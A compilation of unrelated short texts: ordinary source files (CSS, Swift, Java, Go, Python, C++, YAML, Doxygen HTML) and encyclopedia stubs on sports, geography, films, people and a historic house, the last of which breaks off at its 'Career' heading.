Esfandabad, Tehran
Esfandabad, Yazd
|
```css
/**
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
html, body {
font-family: 'Roboto', 'Helvetica', sans-serif;
}
main, #messages-card {
height: 100%;
padding-bottom: 0;
}
#messages-card-container {
height: calc(100% - 35px);
padding-bottom: 0;
}
#messages-card {
margin-top: 15px;
}
.mdl-layout__header-row span {
margin-left: 15px;
margin-top: 17px;
}
.mdl-grid {
max-width: 1024px;
margin: auto;
}
.material-icons {
font-size: 36px;
top: 8px;
position: relative;
}
.mdl-layout__header-row {
padding: 0;
margin: 0 auto;
}
.mdl-card__supporting-text {
width: auto;
height: 100%;
padding-top: 0;
padding-bottom: 0;
}
#messages {
overflow-y: auto;
margin-bottom: 10px;
height: calc(100% - 80px);
display: flex;
flex-direction: column;
}
#message-filler {
flex-grow: 1;
}
.message-container:first-of-type {
border-top-width: 0;
}
.message-container {
display: block;
margin-top: 10px;
border-top: 1px solid #f3f3f3;
padding-top: 10px;
opacity: 0;
transition: opacity 1s ease-in-out;
}
.message-container.visible {
opacity: 1;
}
.message-container .pic {
background-image: url('/images/profile_placeholder.png');
background-repeat: no-repeat;
width: 30px;
height: 30px;
background-size: 30px;
border-radius: 20px;
}
.message-container .spacing {
display: table-cell;
vertical-align: top;
}
.message-container .message {
display: table-cell;
width: calc(100% - 40px);
padding: 5px 0 5px 10px;
}
.message-container .name {
display: inline-block;
width: 100%;
padding-left: 40px;
color: #bbb;
font-style: italic;
font-size: 12px;
box-sizing: border-box;
}
#message-form {
display: flex;
flex-direction: row;
width: calc(100% - 48px);
float: left;
}
#image-form {
display: flex;
flex-direction: row;
width: 48px;
float: right;
}
#message-form .mdl-textfield {
width: calc(100% - 100px);
}
#message-form button, #image-form button {
width: 100px;
margin: 15px 0 0 10px;
}
.mdl-card {
min-height: 0;
}
.mdl-card {
background: linear-gradient(white, #f9f9f9);
justify-content: space-between;
}
#user-container {
position: absolute;
display: flex;
flex-direction: row;
top: 22px;
width: 100%;
right: 0;
padding-left: 10px;
justify-content: flex-end;
padding-right: 10px;
}
#user-container #user-pic {
top: -3px;
position: relative;
display: inline-block;
background-image: url('/images/profile_placeholder.png');
background-repeat: no-repeat;
width: 40px;
height: 40px;
background-size: 40px;
border-radius: 20px;
}
#user-container #user-name {
font-size: 16px;
line-height: 36px;
padding-right: 10px;
padding-left: 20px;
}
#image-form #submitImage {
width: auto;
padding: 0 6px 0 1px;
min-width: 0;
}
#image-form #submitImage .material-icons {
top: -1px;
}
.message img {
max-width: 300px;
max-height: 200px;
}
#mediaCapture {
display: none;
}
@media screen and (max-width: 610px) {
header {
height: 113px;
padding-bottom: 80px !important;
}
#user-container {
top: 72px;
background-color: rgb(3,155,229);
height: 38px;
padding-top: 3px;
padding-right: 2px;
}
#user-container #user-pic {
top: 2px;
width: 33px;
height: 33px;
background-size: 33px;
}
}
.mdl-textfield__label:after {
background-color: #0288D1;
}
.mdl-textfield--floating-label.is-focused .mdl-textfield__label {
color: #0288D1;
}
.mdl-button .material-icons {
top: -1px;
margin-right: 5px;
}
```
|
The 2020 Judo Grand Prix Tel Aviv was held in Tel Aviv, Israel, from 23 to 25 January 2020.
Medal summary
Men's events
Women's events
Source Results
Medal table
References
External links
2020 IJF World Tour
2020 Judo Grand Prix
Judo
Judo
Judo
2020
|
```html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "path_to_url">
<html><head><title></title>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta name="generator" content="Doxygen 1.8.17"/>
<link rel="stylesheet" type="text/css" href="search.css"/>
<script type="text/javascript" src="classes_10.js"></script>
<script type="text/javascript" src="search.js"></script>
</head>
<body class="SRPage">
<div id="SRIndex">
<div class="SRStatus" id="Loading">Loading...</div>
<div id="SRResults"></div>
<script type="text/javascript"><!--
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
createResults();
/* @license-end */
--></script>
<div class="SRStatus" id="Searching">Searching...</div>
<div class="SRStatus" id="NoMatches">No Matches</div>
<script type="text/javascript"><!--
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
document.getElementById("Loading").style.display="none";
document.getElementById("NoMatches").style.display="none";
var searchResults = new SearchResults("searchResults");
searchResults.Search();
/* @license-end */
--></script>
</div>
</body>
</html>
```
|
```swift
import Prelude
import Prelude_UIKit
import UIKit
public enum DesignSystemColors: String {
// MARK: - Greens
case create100
case create300
case create500
case create700
// MARK: - Greys
case black
case support100
case support200
case support300
case support400
case support500
case support700
case white
// MARK: - Blues
case trust100
case trust300
case trust500
case trust700
// MARK: - Corals
case celebrate100
case celebrate300
case celebrate500
case celebrate700
// MARK: - Functional
case alert
case cellSeparator
case facebookBlue
case inform
case warn
}
extension DesignSystemColors {
public func load() -> UIColor {
UIColor(named: self.rawValue) ?? .white
}
}
public func adaptiveColor(_ style: DesignSystemColors) -> UIColor {
style.load()
}
public let verticalComponentStackViewStyle: StackViewStyle = { (stackView: UIStackView) in
stackView
|> verticalStackViewStyle
|> \.alignment .~ .leading
|> \.spacing .~ 8
|> \.distribution .~ .fill
|> UIStackView.lens.spacing .~ Styles.grid(2)
}
// MARK: - Alert StackView
public let alertStackViewStyle: StackViewStyle = { (stackView: UIStackView) in
stackView
|> \.axis .~ NSLayoutConstraint.Axis.horizontal
|> \.distribution .~ .fill
|> \.layoutMargins .~ UIEdgeInsets.init(topBottom: 8, leftRight: 12)
|> \.isLayoutMarginsRelativeArrangement .~ true
|> \.spacing .~ 12
|> \.tintColor .~ .white
|> \.layer.cornerRadius .~ 6
}
// MARK: - Buttons
public let adaptiveGreenButtonStyle = baseButtonStyle
<> UIButton.lens.titleColor(for: .normal) .~ adaptiveColor(.white)
<> UIButton.lens.backgroundColor(for: .normal) .~ adaptiveColor(.create700)
<> UIButton.lens.titleColor(for: .highlighted) .~ adaptiveColor(.white)
<> UIButton.lens.backgroundColor(for: .highlighted) .~ adaptiveColor(.create700).mixDarker(0.36)
<> UIButton.lens.backgroundColor(for: .disabled) .~ adaptiveColor(.create700).mixLighter(0.36)
public let adaptiveBlueButtonStyle = baseButtonStyle
<> UIButton.lens.titleColor(for: .normal) .~ adaptiveColor(.white)
<> UIButton.lens.backgroundColor(for: .normal) .~ adaptiveColor(.trust500)
<> UIButton.lens.titleColor(for: .highlighted) .~ adaptiveColor(.white)
<> UIButton.lens.backgroundColor(for: .highlighted) .~ adaptiveColor(.trust500).mixDarker(0.36)
<> UIButton.lens.backgroundColor(for: .disabled) .~ adaptiveColor(.trust500).mixLighter(0.36)
public let adaptiveGreyButtonStyle = baseButtonStyle
<> UIButton.lens.titleColor(for: .normal) .~ adaptiveColor(.support700)
<> UIButton.lens.backgroundColor(for: .normal) .~ adaptiveColor(.support300)
<> UIButton.lens.titleColor(for: .highlighted) .~ adaptiveColor(.support700)
<> UIButton.lens.titleColor(for: .disabled) .~ adaptiveColor(.support400)
<> UIButton.lens.backgroundColor(for: .highlighted) .~ adaptiveColor(.support300).mixDarker(0.36)
<> UIButton.lens.backgroundColor(for: .disabled) .~ adaptiveColor(.support300).mixLighter(0.12)
public let adaptiveBlackButtonStyle = baseButtonStyle
<> UIButton.lens.titleColor(for: .normal) .~ adaptiveColor(.white)
<> UIButton.lens.titleColor(for: .highlighted) .~ adaptiveColor(.white)
<> UIButton.lens.titleColor(for: .disabled) .~ adaptiveColor(.support100)
<> UIButton.lens.backgroundColor(for: .normal) .~ adaptiveColor(.support700)
<> UIButton.lens.backgroundColor(for: .highlighted) .~ adaptiveColor(.support700).mixDarker(0.66)
<> UIButton.lens.backgroundColor(for: .disabled) .~ adaptiveColor(.support700).mixLighter(0.36)
<> UIButton.lens.backgroundColor(for: .selected) .~ adaptiveColor(.support700).mixLighter(0.46)
public let adaptiveRedButtonStyle = baseButtonStyle
<> UIButton.lens.titleColor(for: .normal) .~ adaptiveColor(.white)
<> UIButton.lens.backgroundColor(for: .normal) .~ adaptiveColor(.alert)
<> UIButton.lens.backgroundColor(for: .highlighted) .~ adaptiveColor(.alert).mixDarker(0.12)
<> UIButton.lens.backgroundColor(for: .disabled) .~ adaptiveColor(.alert).mixLighter(0.36)
public let adaptiveFacebookButtonStyle = baseButtonStyle
<> UIButton.lens.backgroundColor(for: .normal) .~ adaptiveColor(.facebookBlue)
<> UIButton.lens.titleColor(for: .normal) .~ .white
<> UIButton.lens.titleColor(for: .highlighted) .~ .white
<> UIButton.lens.backgroundColor(for: .highlighted) .~ adaptiveColor(.facebookBlue).mixDarker(0.36)
<> UIButton.lens.backgroundColor(for: .disabled) .~ adaptiveColor(.facebookBlue).mixLighter(0.36)
<> UIButton.lens.tintColor .~ adaptiveColor(.white)
<> UIButton.lens.imageEdgeInsets .~ .init(top: 0, left: 0, bottom: 0, right: 18.0)
<> UIButton.lens.contentEdgeInsets %~~ { _, button in
button.traitCollection.verticalSizeClass == .compact
? .init(topBottom: 10.0, leftRight: 12.0)
: .init(topBottom: 12.0, leftRight: 16.0)
}
<> UIButton.lens.image(for: .normal) %~ { _ in image(named: "fb-logo-white") }
// MARK: - Icons
public let adaptiveIconImageViewStyle: ImageViewStyle = { imageView in
imageView
|> \.contentMode .~ .scaleAspectFit
|> \.translatesAutoresizingMaskIntoConstraints .~ false
}
// MARK: - Switch Control
public let adaptiveSwitchControlStyle: SwitchControlStyle = { switchControl in
switchControl
|> \.onTintColor .~ adaptiveColor(.create700)
|> \.tintColor .~ adaptiveColor(.support100)
}
// MARK: - Drop Down
public let adaptiveDropDownButtonStyle: ButtonStyle = { (button: UIButton) in
button
|> UIButton.lens.contentEdgeInsets .~ UIEdgeInsets(
top: Styles.gridHalf(3), left: Styles.grid(2), bottom: Styles.gridHalf(3), right: Styles.grid(5)
)
|> UIButton.lens.titleLabel.font .~ UIFont.ksr_body().bolded
|> UIButton.lens.titleColor(for: .normal) .~ adaptiveColor(.create500)
|> UIButton.lens.titleColor(for: .highlighted) .~ adaptiveColor(.create500)
|> UIButton.lens.image(for: .normal) .~ Library.image(named: "icon-dropdown-small")
|> UIButton.lens.semanticContentAttribute .~ .forceRightToLeft
|> UIButton.lens.imageEdgeInsets .~ UIEdgeInsets(top: 0, left: Styles.grid(6), bottom: 0, right: 0)
|> UIButton.lens.layer.shadowColor .~ adaptiveColor(.black).cgColor
}
// MARK: - Form
public let adaptiveFormFieldStyle: TextFieldStyle = { (textField: UITextField) in
textField
|> formTextInputStyle
|> \.backgroundColor .~ .clear
|> \.font .~ .ksr_body()
|> \.textColor .~ adaptiveColor(.black)
}
// MARK: - Text Field
public let adaptiveEmailFieldStyle = adaptiveFormFieldStyle
<> UITextField.lens.keyboardType .~ .emailAddress
public func adaptiveAttributedPlaceholder(_ string: String) -> NSAttributedString {
return NSAttributedString(
string: string,
attributes: [NSAttributedString.Key.foregroundColor: adaptiveColor(.support400)]
)
}
private let adaptiveEmailTextFieldPlaceholderStyle: TextFieldStyle = { (textField: UITextField) in
textField
|> \.returnKeyType .~ UIReturnKeyType.next
|> \.attributedPlaceholder %~ { _ in
adaptiveAttributedPlaceholder(Strings.login_placeholder_email())
}
}
// MARK: - Activity Indicator
public func adaptiveActivityIndicatorStyle(indicator: UIActivityIndicatorView) -> UIActivityIndicatorView {
return indicator
|> UIActivityIndicatorView.lens.hidesWhenStopped .~ true
|> UIActivityIndicatorView.lens.style .~ .medium
|> UIActivityIndicatorView.lens.color .~ adaptiveColor(.support700)
}
// MARK: - Links
public let adaptiveTappableLinksViewStyle: TextViewStyle = { (textView: UITextView) -> UITextView in
_ = textView
|> \.isScrollEnabled .~ false
|> \.isEditable .~ false
|> \.isUserInteractionEnabled .~ true
|> \.adjustsFontForContentSizeCategory .~ true
_ = textView
|> \.textContainerInset .~ UIEdgeInsets.zero
|> \.textContainer.lineFragmentPadding .~ 0
|> \.linkTextAttributes .~ [
.foregroundColor: adaptiveColor(.create700)
]
return textView
}
```
|
```yaml
webhookAlerting:
webhooks:
# Name of the webhook, must be unique.
'testWebhook':
# URL of the webhook which can receive alerts from Optimize
url: 'someUrl'
# Map of the headers of the request to the sent to the webhook URL
headers:
'Authorization': 'auth token'
'Content-type': 'application/json'
# HTTP Method for the webhook request
httpMethod: 'POST'
# The default payload structure with the alertMessagePlaceholder {{ALERT_MESSAGE}} for the alert text.
# Optimize will replace this placeholder with the content of the alert message.
defaultPayload: '{"text": "{{ALERT_MESSAGE}}"}'
zeebe:
# Toggles whether Optimize should attempt to import data from the connected Zeebe instance
enabled: ${ZEEBE_IMPORT_ENABLED:false}
partitionCount: 2
```
|
```java
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package org.flowable.rest.service.api.management;
import org.flowable.common.engine.api.FlowableException;
import org.flowable.common.engine.impl.EngineInfo;
import org.flowable.common.rest.api.EngineInfoResponse;
import org.flowable.engine.ProcessEngine;
import org.flowable.engine.ProcessEngines;
import org.flowable.rest.service.api.BpmnRestApiInterceptor;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiOperation;
import io.swagger.annotations.ApiResponse;
import io.swagger.annotations.ApiResponses;
import io.swagger.annotations.Authorization;
/**
* @author Tijs Rademakers
*/
@RestController
@Api(tags = { "Engine" }, description = "Manage Engine", authorizations = { @Authorization(value = "basicAuth") })
public class ProcessEngineResource {
@Autowired
@Qualifier("processEngine")
protected ProcessEngine engine;
@Autowired(required=false)
protected BpmnRestApiInterceptor restApiInterceptor;
@ApiOperation(value = "Get engine info", tags = { "Engine" })
@ApiResponses(value = {
@ApiResponse(code = 200, message = "Indicates the engine info is returned."),
})
@GetMapping(value = "/management/engine", produces = "application/json")
public EngineInfoResponse getEngineInfo() {
if (restApiInterceptor != null) {
restApiInterceptor.accessManagementInfo();
}
EngineInfoResponse response = new EngineInfoResponse();
try {
EngineInfo engineInfo = ProcessEngines.getProcessEngineInfo(engine.getName());
if (engineInfo != null) {
response.setName(engineInfo.getName());
response.setResourceUrl(engineInfo.getResourceUrl());
response.setException(engineInfo.getException());
} else {
// Revert to using process-engine directly
response.setName(engine.getName());
}
} catch (Exception e) {
throw new FlowableException("Error retrieving process info", e);
}
response.setVersion(ProcessEngine.class.getPackage().getImplementationVersion());
return response;
}
}
```
|
```go
package v1_16 //nolint
import (
"code.gitea.io/gitea/modules/setting"
"xorm.io/xorm"
)
func AlterIssueAndCommentTextFieldsToLongText(x *xorm.Engine) error {
sess := x.NewSession()
defer sess.Close()
if err := sess.Begin(); err != nil {
return err
}
if setting.Database.Type.IsMySQL() {
if _, err := sess.Exec("ALTER TABLE `issue` CHANGE `content` `content` LONGTEXT"); err != nil {
return err
}
if _, err := sess.Exec("ALTER TABLE `comment` CHANGE `content` `content` LONGTEXT, CHANGE `patch` `patch` LONGTEXT"); err != nil {
return err
}
}
return sess.Commit()
}
```
|
Bousquet Island, long, lies immediately east of Herring Island in the Windmill Islands. It was first mapped from air photos taken by USN Operation Highjump in 1946 and 1947. Named by C. R. Eklund, station scientific leader, for Utilities Man 2nd Class Edward A. Bousquet, USN, a Navy Support force member of the 1957 wintering party at Wilkes Station during the International Geophysical Year (IGY).
Bousquet Island lies south-south-east of Casey Station, operated year-round by the Australian Government Antarctic Division in Hobart, Tasmania. Sometimes also known as Little Herring Island, the site is well known to Casey expeditioners for its population of breeding Weddell Seals which pup on the sea ice in theimmediate vicinity of the island.
See also
Composite Antarctic Gazetteer
List of Antarctic and sub-Antarctic islands
List of Antarctic islands south of 60° S
SCAR
Territorial claims in Antarctica
References
External links
Windmill Islands
|
Relax Ka Lang, Sagot Kita is a 1994 Philippine romantic action film co-written and directed by Danilo Cabreira. The film stars Vilma Santos and Bong Revilla.
Cast
Vilma Santos as Atty. Vera Villaverde
Bong Revilla as Daniel Santiago
Anthony Alonzo as Warlito Gan
Mat Ranillo III as Vera's Suitor
Tommy Abuel as Defense Lawyer
Vic Vargas as Maj. Mateo
Subas Herrero as Victor Gan
Ruby Rodriguez as Lizette
Edgar Mande as Mike Gable
Perla Bautista as Aling Jovita
Jane Zaleta as Daniel's Sister
King Gutierrez as Masungcal
Manjo del Mundo as Gutierrez
Edwin Reyes as Raul
Tom Olivar as Tommy
Oliver Osorio as Bobet
Harold Zaleta as Daniel's Brother
Nanding Fernandez as Presiding Justice
Vic Varrion as Brgy. Captain
Romeo Enriquez as Romy
Alma Lerma as Vera's Aunt
Awards
References
External links
1994 films
1994 action films
1990s romantic action films
Filipino-language films
Philippine action films
Moviestars Production films
|
```java
package tech.tablesaw.io.csv;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
import com.univocity.parsers.csv.CsvWriterSettings;
import java.io.ByteArrayOutputStream;
import org.junit.jupiter.api.Test;
public class CsvWriteOptionsTest {
@Test
public void testSettingsPropagation() {
ByteArrayOutputStream stream = new ByteArrayOutputStream();
CsvWriteOptions options =
CsvWriteOptions.builder(stream)
.escapeChar('~')
.header(true)
.lineEnd("\r\n")
.quoteChar('"')
.separator('.')
.quoteAllFields(true)
.ignoreLeadingWhitespaces(true)
.ignoreTrailingWhitespaces(true)
.build();
assertEquals('~', options.escapeChar());
assertTrue(options.header());
assertEquals('"', options.quoteChar());
assertEquals('.', options.separator());
assertTrue(options.ignoreLeadingWhitespaces());
assertTrue(options.ignoreTrailingWhitespaces());
assertTrue(options.quoteAllFields());
CsvWriterSettings settings = CsvWriter.createSettings(options);
assertTrue(settings.getQuoteAllFields());
assertEquals('~', settings.getFormat().getQuoteEscape());
assertEquals("\r\n", settings.getFormat().getLineSeparatorString());
assertEquals('"', settings.getFormat().getQuote());
assertEquals('.', settings.getFormat().getDelimiter());
assertEquals(options.ignoreLeadingWhitespaces(), settings.getIgnoreLeadingWhitespaces());
assertEquals(options.ignoreTrailingWhitespaces(), settings.getIgnoreTrailingWhitespaces());
}
}
```
|
Pavel Semyonovich Lungin (; born 12 July 1949) is a Russian film director. He is sometimes credited as Pavel Loungine (as in the American release of Tycoon). Lungin was awarded the distinction People's Artist of Russia in 2008.
Life and career
Born on 12 July 1949 in Moscow, Lungin is the son of the scriptwriter and linguist Lilianna Lungina. He later attended Moscow State University at the Mathematics and Applied Linguistics of the Philological Faculty, from which he graduated in 1971. In 1980 he completed the High Courses for Scriptwriters and Film Directors (Mikhail Lvovsky's Workshop).
Lungin worked primarily as a scriptwriter until given the opportunity to direct Taxi Blues at age 40. The film starred well-known musician Pyotr Mamonov. For the film he received the Best Director Prize at 1990 Cannes Film Festival. That same year he took up residence in France, while making films in and about Russia with French producers. Two years later, his next film Luna Park would also compete at the 1992 Cannes Film Festival.
In 1993 he was a member of the jury at the 18th Moscow International Film Festival.
He was the librettist for Nikolai Karetnikov's opera Till Eulenspiegel (written 1983) and Karetnikov's oratorio The Mystery of St. Paul.
At the 2000 Cannes Film Festival, Pavel Lungin's film The Wedding was awarded the Special Jury Prize for the best ensemble cast.
In 2001 Pavel Lungin began shooting his new film Tycoon based on novel The Big Ration. The picture was a drama set during the Mikhail Gorbachev years about five students who jump on the private capitalism movement. The film was released in Russia in October 2002.
Lungin made the black comedy Poor Relatives in 2005, winner of the main prize of the Kinotavr 2005 Festival, and a television miniseries based on Nikolai Gogol's works, titled The Case of "Dead Souls", which premiered on NTV in September 2005. Both Poor Relatives and The Case of "Dead Souls" starred Konstantin Khabensky.
In 2006 he directed the religious film The Island which also had Mamonov in the lead role. The film closed the 63rd Venice International Film Festival and was praised by the Russian Orthodox Church leader Alexis II.
He was the President of the Jury at the 31st Moscow International Film Festival in 2009. In the same year he made the film Tsar with Pyotr Mamonov and Oleg Yankovskiy. The film competed in the Un Certain Regard section at the 2009 Cannes Film Festival.
In March 2014 he signed a letter in support of the position of the President of Russia Vladimir Putin on Russia's military intervention in Ukraine and Crimea. For this he was banned from entering Ukraine. Crimea is since March 2014 under Russian occupation.
Lungin directed the thriller The Queen of Spades in 2016. The picture is about opera singers preparing for a performance in the Queen of Spades.
From 2015 he is the director of political thriller television series Homeland, a localized adaptation of Prisoners of War.
In 2019, along with his son Aleksander, Lungin won the Golden Goblet Award for Best Screenplay at the Shanghai International Film Festival.
Filmography (as director)
Films
Taxi Blues (1990)
Luna Park (1992)
Lifeline (1996)
The Wedding (2000)
Tycoon (2002)
Poor Relatives (2005)
The Island (2006)
Branch of Lilac (2007) (transliterated from original Vetka sireni)
Tsar (2009)
The Conductor (2012)
The Queen of Spades (2016)
Leaving Afghanistan (2019)
Esau (2019)
TV
The Case of "Dead Souls" (2005)
''Homeland (2015)
References
External links
Islander Pavel Lungin
1949 births
Living people
High Courses for Scriptwriters and Film Directors alumni
Honorary Members of the Russian Academy of Arts
Academicians of the Russian Academy of Cinema Arts and Sciences "Nika"
Russian film directors
Soviet film directors
Russian Jews
Cannes Film Festival Award for Best Director winners
Russian activists against the Russian invasion of Ukraine
20th-century Russian Jews
|
Sidki railway station
() is located in Pakistan.
See also
List of railway stations in Pakistan
Pakistan Railways
References
External links
Railway stations in Khyber Pakhtunkhwa
|
Byrkjelandsvatnet or Storavatnet is a lake in the municipality of Bjerkreim in Rogaland county, Norway. The lake lies about north of the village of Øvrebygd. The lake flows out through the short river Malmeisåna which flows into the lake Hofreistæ.
See also
List of lakes in Norway
References
Bjerkreim
Lakes of Rogaland
|
In the United States, a sophomore ( or ) is a person in the second year at an educational institution; usually at a secondary school or at the college and university level, but also in other forms of post-secondary educational institutions. In high school a sophomore is equivalent to a tenth grade or Class-10 student.
In sports, sophomore may also refer to a professional athlete in their second season. In entertainment, television series in their second season may be referred to as sophomore shows, while actors and musicians experiencing their second major success may be referred to as sophomore artists.
High school
The 10th grade is the second year of a student's high school period (usually aged 15–16) and is referred to as sophomore year, so in a four year course the stages are freshman, sophomore, junior and senior.
In How to Read a Book, the Aristotelean philosopher and founder of the "Great Books of the Western World" program Mortimer Adler says, "There have always been literate ignoramuses, who have read too widely, and not well. The Greeks had a name for such a mixture of learning and folly which might be applied to the bookish but poorly read of all ages. They are all 'sophomores'." This oxymoron points at the Greek words σοφός (wise) and μωρός (fool).
High-school sophomores are expected to begin preparing for the college application process, including increasing and focusing their extracurricular activities. Students at this level are also considered to be developing greater ability for abstract thinking.
Tertiary education
The term sophomore is also used to refer to a student in the second year of college or university studies in the United States; typically a college sophomore is 19 to 20 years old. In the United States, college sophomores are advised to begin thinking of career options and to get involved in volunteering or social organizations on or near campus.
See also
Freshman
Junior (education year)
Sophomore slump
Second-system effect
Senior (education)
Sophomore's dream
References
Educational stages
Educational years
Student culture in the United States
|
```python
"""This is a sample module used for testing doctest.
This module is for testing how doctest handles a module with docstrings
but no doctest examples.
"""
class Foo(object):
"""A docstring with no doctest examples.
"""
def __init__(self):
pass
```
|
One String Leads to Another is the third solo recording by American guitarist Tim Sparks, released in 1999.
History
The title is taken from a quote by John Renbourn. While speaking of Davey Graham's travels in Morocco "where he came across a tuning used on an exotic, North African string instrument. Davey tried to adapt this to his guitar. Well, one string leads to another and before you know it, he's come up with DADGAD guitar tuning."
Sparks wrote the songs while spending time in Mexico. "I found myself exploring the sounds of where I grew up in North Carolina, you know, more native American sounds, and cross-pollinating them, if you will, with sounds from around the world. Sounds I have explored in music from other cultures".
Reception
Stacia Proefrock wrote for Allmusic "Tim Sparks has issued another winner. Rather than merely imitating one particular style throughout a certain song, he instead absorbs the techniques and melodies of many different cultures and fuses them together to make them his own." Andy Ellis of Guitar Player magazine stated "There are many skilled solo-acoustic guitarists making CDs today, but few can match Sparks' verve and intensity. On this live and natural-sounding record, we hear a restless, probing mind, rather than a series of refined techniques." The June 2000 issue of Down Beat magazine gave a favorable review stating: "While Sparks' music includes jazz and world music sensibilities, the overall thrust to this set of original compositions (minus one) suggests a blend of folksy, backwoods fingerpicking that's strongly melodic and very intimate. The pacing is very good, and Sparks' fingerstyle, musical sleight-of-hand has one hearing classical technique one moment, flat-out blues the next."
Track listing
All compositions by Tim Sparks except "Eu So Quero Em Xodo" by Dominguinhos.
"L'etoile de Mer" – 3:26
"Waltz with a Mermaid" – 2:51
"Cornbread and Baklava" – 5:35
"La Soledad" – 4:02
"Mr. Marques" – 3:30
"Eu So Quero Em Xodo" – 8:35
"Elegy for Max" – 2:56
"Trap Hill Breakdown" – 3:57
"One String Leads to Another" – 2:19
"Pata Negra" – 4:44
"The Amersterdam Cakewalk" – 3:45
"A Lucky Hand" – 2:32
Personnel
Tim Sparks - acoustic guitar
Dean Magraw - acoustic guitar on "Eu So Quero Em Xodo"
Production notes
Produced by Peter Finger
Engineered by Peter Finger at Acoustic Music Studio in Osnabruck, Germany
References
1999 albums
Tim Sparks albums
|
```java
package com.beloo.chipslayoutmanager.sample.ui.adapter;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageButton;
import android.widget.TextView;
import java.util.List;
import com.beloo.chipslayoutmanager.sample.ui.OnRemoveListener;
import com.beloo.chipslayoutmanager.sample.R;
public class RecyclerViewAdapter extends RecyclerView.Adapter<RecyclerViewAdapter.ViewHolder> {
private static String TAG = RecyclerViewAdapter.class.getSimpleName();
private int viewHolderCount;
private final int ITEM_TYPE_DEFAULT = 0;
private final int ITEM_TYPE_INCREASED = 1;
private List<String> items;
private OnRemoveListener onRemoveListener;
public RecyclerViewAdapter(List<String> items, OnRemoveListener onRemoveListener) {
this.items = items;
this.onRemoveListener = onRemoveListener;
}
@Override
public ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
View itemView;
switch (viewType) {
case ITEM_TYPE_INCREASED:
itemView = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_increased, parent, false);
break;
default:
itemView = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_simple, parent, false);
break;
}
viewHolderCount++;
// Timber.w(TAG, "created holders = " + viewHolderCount);
return new ViewHolder(itemView);
}
@Override
public void onBindViewHolder(ViewHolder holder, int position) {
holder.bindItem(items.get(position));
}
@Override
public int getItemViewType(int position) {
String item = items.get(position);
if (item.startsWith("!")) {
return ITEM_TYPE_INCREASED;
}
return ITEM_TYPE_DEFAULT;
}
@Override
public int getItemCount() {
return items.size();
}
class ViewHolder extends RecyclerView.ViewHolder {
private TextView tvText;
private ImageButton ibClose;
ViewHolder(View itemView) {
super(itemView);
tvText = (TextView) itemView.findViewById(R.id.tvText);
ibClose = (ImageButton) itemView.findViewById(R.id.ibClose);
ibClose.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
int position = getAdapterPosition();
if (position != -1) {
onRemoveListener.onItemRemoved(position);
}
}
});
}
void bindItem(String text) {
tvText.setText(text);
}
}
}
```
|
```c++
// See www.openfst.org for extensive documentation on this weighted
// finite-state transducer library.
//
// Generates a random FST according to a class-specific transition model.
#include <cstdlib>
#include <ctime>
#include <memory>
#include <string>
#include <fst/extensions/compress/randmod.h>
#include <fst/flags.h>
#include <fst/log.h>
#include <fst/fstlib.h>
#include <fst/util.h>
DEFINE_int32(seed, time(0), "Random seed");
DEFINE_int32(states, 10, "# of states");
DEFINE_int32(labels, 2, "# of labels");
DEFINE_int32(classes, 1, "# of probability distributions");
DEFINE_bool(transducer, false, "Output a transducer");
DEFINE_bool(weights, false, "Output a weighted FST");
int main(int argc, char **argv) {
using fst::StdVectorFst;
using fst::StdArc;
using fst::TropicalWeight;
using fst::WeightGenerate;
string usage = "Generates a random FST.\n\n Usage: ";
usage += argv[0];
usage += "[out.fst]\n";
std::set_new_handler(FailedNewHandler);
SET_FLAGS(usage.c_str(), &argc, &argv, true);
if (argc > 2) {
ShowUsage();
return 1;
}
string out_name = (argc > 1 && (strcmp(argv[1], "-") != 0)) ? argv[1] : "";
srand(FLAGS_seed);
int num_states = (rand() % FLAGS_states) + 1; // NOLINT
int num_classes = (rand() % FLAGS_classes) + 1; // NOLINT
int num_labels = (rand() % FLAGS_labels) + 1; // NOLINT
StdVectorFst fst;
using TropicalWeightGenerate = WeightGenerate<TropicalWeight>;
std::unique_ptr<TropicalWeightGenerate> generate(FLAGS_weights ?
new TropicalWeightGenerate(false) : nullptr);
fst::RandMod<StdArc, TropicalWeightGenerate> rand_mod(num_states,
num_classes, num_labels, FLAGS_transducer, generate.get());
rand_mod.Generate(&fst);
fst.Write(out_name);
return 0;
}
```
|
The Hermitage, also known as Devereaux House, is a historic home located at Virginia Beach, Virginia. The original section was built about 1700, with two later additions. It is a -story, four bay, Colonial era frame dwelling. The second portion was constructed by about 1820, doubling the size of the dwelling, and the final portion was added in 1940. Also on the property are three outbuildings, as well as a large subterranean brick cistern, now part of the basement to the house.
It was added to the National Register of Historic Places in 2008.
References
Houses on the National Register of Historic Places in Virginia
Colonial architecture in Virginia
Houses completed in 1700
Houses in Virginia Beach, Virginia
National Register of Historic Places in Virginia Beach, Virginia
1700 establishments in Virginia
|
Sayyid Assadollah Ladjevardi (; 1935 – 23 August 1998) was an Iranian conservative politician, prosecutor and warden. He was one of the officials responsible for the 1988 executions of Iranian political prisoners, and was assassinated by the People's Mujahedin of Iran on 23 August 1998.
Early life and education
Lajevardi was born in Tehran in 1935. He studied theological sciences before working as a bazaar draper.
Before the Islamic Revolution of Iran
He was one of the co-founders of Islamic Coalition Hey'ats, later Islamic Coalition Party. and had been jailed several times by the Shah's government.
Career
